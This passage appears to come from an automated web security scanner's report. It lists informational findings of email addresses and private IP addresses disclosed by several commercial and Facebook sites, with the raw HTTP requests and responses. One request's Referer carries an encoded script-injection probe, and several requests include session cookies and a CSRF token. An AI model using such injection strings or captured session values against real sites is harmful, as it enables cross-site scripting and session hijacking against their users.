Last-Modified: Sat, 13 Mar 2010 16:38:39 GMT
Content-Length: 3387
Expires: Thu, 31 Dec 2037 23:55:55 GMT
Cache-Control: max-age=315360000

/*
* jqModal - Minimalist Modaling with jQuery
* (http://dev.iceburg.net/jquery/jqmodal/)
*
* Copyright (c) 2007,2008 Brice Burgess <bhb@iceburg.net>
* Dual licensed under the MIT and GPL
...[SNIP]...

19.60. http://www.smtp.com/stylesheets/jqModal.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.smtp.com
Path:	/stylesheets/jqModal.css

Issue detail

The following email address was disclosed in the response:

bhb@iceburg.net

Request

GET /stylesheets/jqModal.css?1288275113 HTTP/1.1
Host: www.smtp.com
Proxy-Connection: keep-alive
Referer: http://www.smtp.com/?gclid=CJWNm_2JoqsCFSg1gwodCS0_kQ
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNQ%3D%3D--d77601bf4eb2e4d6e70d9401d391108ccdbc2dbd

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 16 Sep 2011 15:27:01 GMT
Content-Type: text/css
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
Last-Modified: Thu, 28 Oct 2010 14:11:53 GMT
Expires: Thu, 31 Dec 2037 23:55:55 GMT
Cache-Control: max-age=315360000
Content-Length: 1178

/* jqModal base Styling courtesy of;
Brice Burgess <bhb@iceburg.net> */

/* The Window's CSS z-index value is respected (takes priority). If none is supplied,
the Window's z-index value will be set
...[SNIP]...

19.61. https://www.smtp.com/javascripts/jqModal.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.smtp.com
Path:	/javascripts/jqModal.js

Issue detail

The following email address was disclosed in the response:

bhb@iceburg.net

Request

GET /javascripts/jqModal.js?1268498319 HTTP/1.1
Host: www.smtp.com
Connection: keep-alive
Referer: https://www.smtp.com/signup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=173546785.673105426.1316204863.1316204863.1316204863.1; __utmb=173546785.2.10.1316204863; __utmc=173546785; __utmz=173546785.1316204863.1.1.utmgclid=CJWNm_2JoqsCFSg1gwodCS0_kQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; _global_session=BAh7CDoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNToQX2NzcmZfdG9rZW4iMXFTV2pPZHJOUytnSmhmMFBLaFI0OFBqTUxqM3gvUXo5RlIzNGtMWUxKczQ9--2c03a874c155ebb1c45e43460df9f03c37c5c032

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 16 Sep 2011 15:29:33 GMT
Content-Type: application/javascript
Connection: keep-alive
Keep-Alive: timeout=60
Last-Modified: Sat, 13 Mar 2010 16:38:39 GMT
Content-Length: 3387
Expires: Thu, 31 Dec 2037 23:55:55 GMT
Cache-Control: max-age=315360000

/*
* jqModal - Minimalist Modaling with jQuery
* (http://dev.iceburg.net/jquery/jqmodal/)
*
* Copyright (c) 2007,2008 Brice Burgess <bhb@iceburg.net>
* Dual licensed under the MIT and GPL
...[SNIP]...

19.62. https://www.smtp.com/stylesheets/jqModal.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.smtp.com
Path:	/stylesheets/jqModal.css

Issue detail

The following email address was disclosed in the response:

bhb@iceburg.net

Request

GET /stylesheets/jqModal.css?1288275113 HTTP/1.1
Host: www.smtp.com
Connection: keep-alive
Referer: https://www.smtp.com/signup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=173546785.673105426.1316204863.1316204863.1316204863.1; __utmb=173546785.2.10.1316204863; __utmc=173546785; __utmz=173546785.1316204863.1.1.utmgclid=CJWNm_2JoqsCFSg1gwodCS0_kQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; _global_session=BAh7CDoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNToQX2NzcmZfdG9rZW4iMXFTV2pPZHJOUytnSmhmMFBLaFI0OFBqTUxqM3gvUXo5RlIzNGtMWUxKczQ9--2c03a874c155ebb1c45e43460df9f03c37c5c032

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 16 Sep 2011 15:29:33 GMT
Content-Type: text/css
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
Last-Modified: Thu, 28 Oct 2010 14:11:53 GMT
Expires: Thu, 31 Dec 2037 23:55:55 GMT
Cache-Control: max-age=315360000
Content-Length: 1178

/* jqModal base Styling courtesy of;
Brice Burgess <bhb@iceburg.net> */

/* The Window's CSS z-index value is respected (takes priority). If none is supplied,
the Window's z-index value will be set
...[SNIP]...

19.63. http://www.snapengage.com/snapengage-sendgrid.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.snapengage.com
Path:	/snapengage-sendgrid.js

Issue detail

The following email address was disclosed in the response:

invalid@example.com

Request

GET /snapengage-sendgrid.js HTTP/1.1
Host: www.snapengage.com
Proxy-Connection: keep-alive
Referer: http://sendgrid.com/pricing.html?gclid=CPWo1PSJoqsCFRRSgwod8HVslQ
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
ETag: "Nz-1cg"
Date: Fri, 16 Sep 2011 15:28:34 GMT
Expires: Thu, 15 Sep 2011 09:15:54 GMT
Content-Type: application/x-javascript
Server: Google Frontend
Content-Length: 106950
Cache-Control: public, max-age=600
Age: 0

var SnapABug=function(){var e=document.location.protocol=="https:"?"https://snapabug.appspot.com":"http://www.snapengage.com",g=document.location.protocol=="https:"?"https://chtatic.appspot.com":"http
...[SNIP]...
.showLoading(),this.sendGetWidgetConfig(!1));return!1},startCall:function(){this.preventProactiveChat();k||(this.showLoading(),
this.sendGetCallConfig());return!1},setUserEmail:function(a,b){if(a&&a!="invalid@example.com")try{z=a.replace(/^[\s\+]+|[\s\+]+$/g,"")}catch(d){}b==!0&&(C=!0)},setDescription:function(a){i=a},setButtonEffect:function(a){v=a;this.buttonOut()},setFormTopPosition:function(a){b=a},setChatFormPosi
...[SNIP]...

19.64. http://www.socketlabs.com/home/company previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.socketlabs.com
Path:	/home/company

Issue detail

The following email address was disclosed in the response:

sales@socketlabs.com

Request

GET /home/company HTTP/1.1
Host: www.socketlabs.com
Proxy-Connection: keep-alive
Referer: http://www.socketlabs.com/lpages/od-smtp-service?ctt_id=3448125&ctt_adnw=Google&ctt_kw=SMTP%20server&ctt_ch=ps&ctt_entity=tc&ctt_adid=7890931031&ctt_nwtype=search&ctt_cli=8x11767x88739x778008&gclid=CJKar_KJoqsCFRpggwodHTRzEg
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=1.1481900178.1316204835.1316204835.1316204835.1; __utmb=1.1.10.1316204835; __utmc=1; __utmz=1.1316204835.1.1.utmgclid=CJKar_KJoqsCFRpggwodHTRzEg|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYxJjI4MTEyNyYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODA1MzYmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:31:23 GMT
Server: Mongrel 1.1.5
Status: 200
ETag: "f52645016790e1f15b3778b7d5989968"
X-Runtime: 7
Cache-Control: private, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Content-Length: 8244

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<title>SocketLa
...[SNIP]...
<a href="mailto:sales@socketlabs.com">sales@socketlabs.com</a>
...[SNIP]...

19.65. http://www.thewhir.com/common/ga_social_tracking.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thewhir.com
Path:	/common/ga_social_tracking.js

Issue detail

The following email address was disclosed in the response:

api.nickm@google.com

Request

GET /common/ga_social_tracking.js HTTP/1.1
Host: www.thewhir.com
Proxy-Connection: keep-alive
Referer: http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:00:20 GMT
Server: Apache
Last-Modified: Thu, 07 Jul 2011 19:55:26 GMT
Accept-Ranges: bytes
Content-Length: 4488
Cache-Control: max-age=604800
Expires: Fri, 23 Sep 2011 18:00:20 GMT
Content-Type: application/javascript

// Copyright 2011 Google Inc. All Rights Reserved.

/**
* @fileoverview A simple script to automatically track Facebook and Twitter
* buttons using Google Analytics social tracking feature.
* @author api.nickm@google.com (Nick Mihailovski)
*/

/**
* Namespace.
* @type {Object}.
*/
var _ga = _ga || {};

/**
* Ensure global _gaq Google Anlaytics queue has be initialized.
* @type {Array}
*/
var _gaq = _gaq || []
...[SNIP]...

20. Private IP addresses disclosed previous next
There are 40 instances of this issue:

http://api.facebook.com/restserver.php
http://api.facebook.com/restserver.php
http://connect.facebook.net/en_US/all.js
http://dev.opera.com/articles/view/opera-mini-request-headers/
http://external.ak.fbcdn.net/fbml_static_get.php
http://external.ak.fbcdn.net/safe_image.php
http://external.ak.fbcdn.net/safe_image.php
http://external.ak.fbcdn.net/safe_image.php
http://external.ak.fbcdn.net/safe_image.php
http://external.ak.fbcdn.net/safe_image.php
http://external.ak.fbcdn.net/safe_image.php
http://external.ak.fbcdn.net/safe_image.php
http://external.ak.fbcdn.net/safe_image.php
http://external.ak.fbcdn.net/safe_image.php
http://static.ak.fbcdn.net/connect.php/js/FB.Share
http://static.ak.fbcdn.net/connect/xd_proxy.php
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yK/r/jSVhQVZmVYK.css
http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/bSOHtKbCGYI.png
http://static.ak.fbcdn.net/rsrc.php/v1/ya/r/OT9e0gZvbwr.js
http://static.ak.fbcdn.net/rsrc.php/v1/yc/r/oV2G4fzMmpF.css
http://static.ak.fbcdn.net/rsrc.php/v1/yn/r/V2gsYdzZe8g.png
http://static.ak.fbcdn.net/rsrc.php/v1/yv/r/EXJI6u8Gt3X.js
http://www.facebook.com/connect/connect.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/recommendations.php
http://www.facebook.com/plugins/recommendations.php
http://www.google.com/sdch/sXoKgwNA.dct

Issue background

RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.

Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.

Issue remediation

There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.

20.1. http://api.facebook.com/restserver.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://api.facebook.com
Path:	/restserver.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.32.59.127

Request

GET /restserver.php?v=1.0&method=links.getStats&urls=%5B%22http%3A%2F%2Fthehackernews.com%2F2011%2F09%2Fspyeye-trojan-stole-32-million-from-us.html%22%5D&format=json&callback=fb_sharepro_render HTTP/1.1
Host: api.facebook.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

HTTP/1.1 200 OK
Cache-Control: public, max-age=120
Content-Type: text/javascript;charset=utf-8
Expires: Fri, 16 Sep 2011 10:56:37 -0700
Pragma:
X-FB-Rev: 442386
X-FB-Server: 10.32.59.127
X-Cnection: close
Date: Fri, 16 Sep 2011 17:54:37 GMT
Content-Length: 343

fb_sharepro_render([{"url":"http:\/\/thehackernews.com\/2011\/09\/spyeye-trojan-stole-32-million-from-us.html","normalized_url":"http:\/\/www.thehackernews.com\/2011\/09\/spyeye-trojan-stole-32-millio
...[SNIP]...

20.2. http://api.facebook.com/restserver.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://api.facebook.com
Path:	/restserver.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.32.60.109

Request

GET /restserver.php?v=1.0&method=links.getStats&urls=%5B%22http%3A%2F%2Fthehackernews.com%2F2011%2F09%2Fgodaddy-websites-compromised-with.html%22%2C%22http%3A%2F%2Fthehackernews.com%2F2011%2F09%2Foclhashcat-plus-v006-worlds-fastest.html%22%2C%22http%3A%2F%2Fthehackernews.com%2F2011%2F09%2Fwavsep-103-web-application.html%22%2C%22http%3A%2F%2Fthehackernews.com%2F2011%2F09%2Fbalaji-plus-cloud-antivirus-released.html%22%2C%22http%3A%2F%2Fthehackernews.com%2F2011%2F09%2Fthc-hydra-v70-new-version-released-for.html%22%2C%22http%3A%2F%2Fthehackernews.com%2F2011%2F09%2Futorrent-bittorrent-sites-hacked-spread.html%22%5D&format=json&callback=fb_sharepro_render HTTP/1.1
Host: api.facebook.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

HTTP/1.1 200 OK
Cache-Control: public, max-age=120
Content-Type: text/javascript;charset=utf-8
Expires: Fri, 16 Sep 2011 10:56:37 -0700
Pragma:
X-FB-Rev: 442386
X-FB-Server: 10.32.60.109
X-Cnection: close
Date: Fri, 16 Sep 2011 17:54:37 GMT
Content-Length: 1992

fb_sharepro_render([{"url":"http:\/\/thehackernews.com\/2011\/09\/godaddy-websites-compromised-with.html","normalized_url":"http:\/\/www.thehackernews.com\/2011\/09\/godaddy-websites-compromised-with.
...[SNIP]...

20.3. http://connect.facebook.net/en_US/all.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://connect.facebook.net
Path:	/en_US/all.js

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.32.145.118

Request

GET /en_US/all.js HTTP/1.1
Host: connect.facebook.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
If-None-Match: "5eb17beefa9c10401e449634ea0d98db"

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
ETag: "7c8bd116ab74f02efed8a9ecbde6059d"
X-FB-Server: 10.32.145.118
X-Cnection: close
Content-Length: 137513
Cache-Control: public, max-age=828
Expires: Fri, 16 Sep 2011 15:49:34 GMT
Date: Fri, 16 Sep 2011 15:35:46 GMT
Connection: close
Vary: Accept-Encoding

/*1316165374,169906550,JIT Construction: v442386,en_US*/

if(!window.FB)window.FB={_apiKey:null,_session:null,_userStatus:'unknown',_logging:true,_inCanvas:((window.location.search.indexOf('fb_sig_in_
...[SNIP]...

20.4. http://dev.opera.com/articles/view/opera-mini-request-headers/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://dev.opera.com
Path:	/articles/view/opera-mini-request-headers/

Issue detail

The following RFC 1918 IP address was disclosed in the response:

192.168.0.100

Request

GET /articles/view/opera-mini-request-headers/ HTTP/1.1
Host: dev.opera.com
Proxy-Connection: keep-alive
Referer: http://dev.opera.com/author/541753
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=122269525.1534674535.1316207960.1316207960.1316207960.1; __utmb=122269525.3.10.1316207960; __utmc=122269525; __utmz=122269525.1316207960.1.1.utmcsr=unite.opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/application/192/; __utma=73838855.1311206388.1316208003.1316208003.1316208003.1; __utmb=73838855.2.10.1316208003; __utmc=73838855; __utmz=73838855.1316208003.1.1.utmcsr=opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/company/

Response

HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html
Cache-control: no-cache
X-MyO-Request: 1316190226.myo.cDoyNzowNzowMA==
Content-Length: 16527
X-My-Opera: http://youtube.com/watch?v=br79xGSpgF4
X-UA: SAFARI
X-Mobile: false
X-Language: en
Vary: Accept-Encoding, X-Language, X-UA, X-Mobile
Date: Fri, 16 Sep 2011 16:23:47 GMT
X-Varnish: 1013238321 1013237592
Age: 2
Via: 1.1 varnish
Connection: keep-alive
X-Hits: 1
X-Cache: hit

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" id="devopera" xml:lang="e
...[SNIP]...
<pre>X-Forwarded-For: 127.0.0.1, 192.168.0.100, 195.189.143.147, 130.236.236.80</pre>
...[SNIP]...

20.5. http://external.ak.fbcdn.net/fbml_static_get.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://external.ak.fbcdn.net
Path:	/fbml_static_get.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.32.94.127

Request

GET /fbml_static_get.php?src=http%3A%2F%2Fwww.port25.com%2Fincludes%2Fport25.css&appid=40433056905&pv=1&sig=6c372a5cd847acf134aa33070254c162&filetype=css&cb=2 HTTP/1.1
Host: external.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/connect/connect.php?id=40433056905&connections=10&stream=1&css=http://www.port25.com/includes/port25.css
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
X-FB-Server: 10.32.94.127
X-Cnection: close
Content-Length: 6287
Vary: Accept-Encoding
Cache-Control: public, max-age=2419180
Expires: Fri, 14 Oct 2011 15:29:26 GMT
Date: Fri, 16 Sep 2011 15:29:46 GMT
Connection: close

.app_content_40433056905 body { margin: 0px; background-color: #ffffff; }
.app_content_40433056905 div.top { margin-top: 0px; padding-top: 0px; background-image: url("http://static.ak.fbcdn.net/rsrc.p
...[SNIP]...

20.6. http://external.ak.fbcdn.net/safe_image.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://external.ak.fbcdn.net
Path:	/safe_image.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.65.10.48

Request

GET /safe_image.php?d=AQCx9RsHnqwWR1_n&url=http%3A%2F%2F3.bp.blogspot.com%2F-UPdHdPAe1_0%2FTnFI9TMnUQI%2FAAAAAAAAC-Q%2FOWy7uC2GDhs%2Fs72-c%2F6cce61d0e149ded800658df34cc65859.png HTTP/1.1
Host: external.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/recommendations.php?header=true&height=450&linktarget=_blank&locale=en_US&sdk=joey&site=http%3A%2F%2Fwww.thehackernews.com%2F&width=290
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: image/png
X-FB-Server: 10.65.10.48
X-Cnection: close
Content-Length: 10081
Cache-Control: public, max-age=86400
Expires: Sat, 17 Sep 2011 17:54:49 GMT
Date: Fri, 16 Sep 2011 17:54:49 GMT
Connection: close

.PNG
.
...IHDR...H...H.....U..G.. .IDATx...w.......<.}n.w*S.f....tA...[,.....D..Sv7M.o`.q]7&f.4..Dc.{...DP.....L..>....3(jH4.dw.....3O=....s..s.....\....<..1$.`.4.l..`,|..y.o......>.o..*KZ.....-@
...[SNIP]...

20.7. http://external.ak.fbcdn.net/safe_image.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://external.ak.fbcdn.net
Path:	/safe_image.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.81.30

Request

GET /safe_image.php?d=AQC3A3ijBE7LKmm3&url=http%3A%2F%2F2.bp.blogspot.com%2F-sZmy-GYwaaM%2FTnDzZ-3-xVI%2FAAAAAAAAC-E%2FzseWYDx7xsc%2Fs72-c%2F5580OS_Backtrack%2B5%2BWireless%2BPenetration.jpg HTTP/1.1
Host: external.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/recommendations.php?header=true&height=450&linktarget=_blank&locale=en_US&sdk=joey&site=http%3A%2F%2Fwww.thehackernews.com%2F&width=290
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: image/jpeg
X-FB-Server: 10.54.81.30
X-Cnection: close
Content-Length: 2535
Vary: Accept-Encoding
Cache-Control: public, max-age=86400
Expires: Sat, 17 Sep 2011 17:54:49 GMT
Date: Fri, 16 Sep 2011 17:54:49 GMT
Connection: close

......JFIF.............>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
...C........... .
................... $.' ",#..(7),01444.'9=82<.342...C. .....2!.!2222222222222222222222222222
...[SNIP]...

20.8. http://external.ak.fbcdn.net/safe_image.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://external.ak.fbcdn.net
Path:	/safe_image.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.78.65

Request

GET /safe_image.php?d=AQDuS0scXDsBnLup&url=http%3A%2F%2F3.bp.blogspot.com%2F-itc0CCFi_zQ%2FTmzHiGneLKI%2FAAAAAAAAC9M%2FKKTnFt9O7nY%2Fs72-c%2FLinux-Foundation.jpg HTTP/1.1
Host: external.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/recommendations.php?header=true&height=450&linktarget=_blank&locale=en_US&sdk=joey&site=http%3A%2F%2Fwww.thehackernews.com%2F&width=290
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: image/jpeg
X-FB-Server: 10.43.78.65
X-Cnection: close
Content-Length: 1854
Vary: Accept-Encoding
Cache-Control: public, max-age=86400
Expires: Sat, 17 Sep 2011 17:54:49 GMT
Date: Fri, 16 Sep 2011 17:54:49 GMT
Connection: close

......JFIF.............>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
...C........... .
................... $.' ",#..(7),01444.'9=82<.342...C. .....2!.!2222222222222222222222222222
...[SNIP]...

20.9. http://external.ak.fbcdn.net/safe_image.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://external.ak.fbcdn.net
Path:	/safe_image.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.106.59

Request

GET /safe_image.php?d=AQDRzOhVB6wAQA7a&url=http%3A%2F%2F3.bp.blogspot.com%2F-2ezBR6Ne9BY%2FTmpeFas1vtI%2FAAAAAAAAC8o%2Fvx187B4FbYE%2Fs72-c%2Ffacebook_hack_0504.jpg HTTP/1.1
Host: external.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/recommendations.php?header=true&height=450&linktarget=_blank&locale=en_US&sdk=joey&site=http%3A%2F%2Fwww.thehackernews.com%2F&width=290
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: image/jpeg
X-FB-Server: 10.62.106.59
X-Cnection: close
Content-Length: 1886
Vary: Accept-Encoding
Cache-Control: public, max-age=86400
Expires: Sat, 17 Sep 2011 17:54:49 GMT
Date: Fri, 16 Sep 2011 17:54:49 GMT
Connection: close

......JFIF.............>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
...C........... .
................... $.' ",#..(7),01444.'9=82<.342...C. .....2!.!2222222222222222222222222222
